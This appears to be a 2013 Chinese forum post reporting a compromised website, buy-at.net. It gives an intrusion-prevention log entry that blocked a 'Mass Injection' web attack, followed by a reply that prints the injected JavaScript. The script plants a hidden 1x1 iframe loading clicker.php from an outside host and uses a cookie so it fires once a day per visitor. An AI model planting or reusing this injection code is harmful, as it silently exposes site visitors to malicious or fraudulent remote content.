http://www.buy-at.net/rubrik.php?rubrik=kunst【挂马BY哀酱】

墨家小子

2013/4/28 19:38:38        入侵防护        重要        传入        TCP        81.19.145.25        80        N/A        X.X.X.X        51932        N/A        \DEVICE\HARDDISKVOLUME1\USERS\FIREFOX3\DESKTOP\SOFT\AD MUNCHER4.93\ADMUNCH.EXE        25824        70237        Web Attack: Mass Injection Website 5        www.buy-at.net/rubrik.php?rubrik=kunst                Firefox3        WIN-V6CDPO2QG3K        Default        1        2013/4/28 19:38:06        2013/4/28 19:38:06        [SID: 25824] 已禁止 Web Attack: Mass Injection Website 5 攻击。 已禁止此应用程序的通信: \DEVICE\HARDDISKVOLUME1\USERS\FIREFOX3\DESKTOP\SOFT\AD MUNCHER4.93\ADMUNCH.EXE

哀酱俏佳人

function zzzfff(){
  var tdsqu = document.createElement('iframe');
  tdsqu.src = 'http://ddm-mobiliario.com/clicker.php';
  tdsqu.style.position = 'absolute';
  tdsqu.style.border = '0';
  tdsqu.style.height = '1px';
  tdsqu.style.width = '1px';
  tdsqu.style.left = '1px';
  tdsqu.style.top = '1px';
  if (!document.getElementById('tdsqu')){
    document.write('<div id=\'tdsqu\'></div>');
    document.getElementById('tdsqu').appendChild(tdsqu);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path){
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0)nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
  toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))){
    return null;
  }
  if (start ==  - 1)return null;
  var end = document.cookie.indexOf(";", len);
  if (end ==  - 1)end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
  if (GetCookie('visited_uq') == 55){
  }
  else {
    SetCookie('visited_uq', '55', '1', '/');
    zzzfff();
  }
}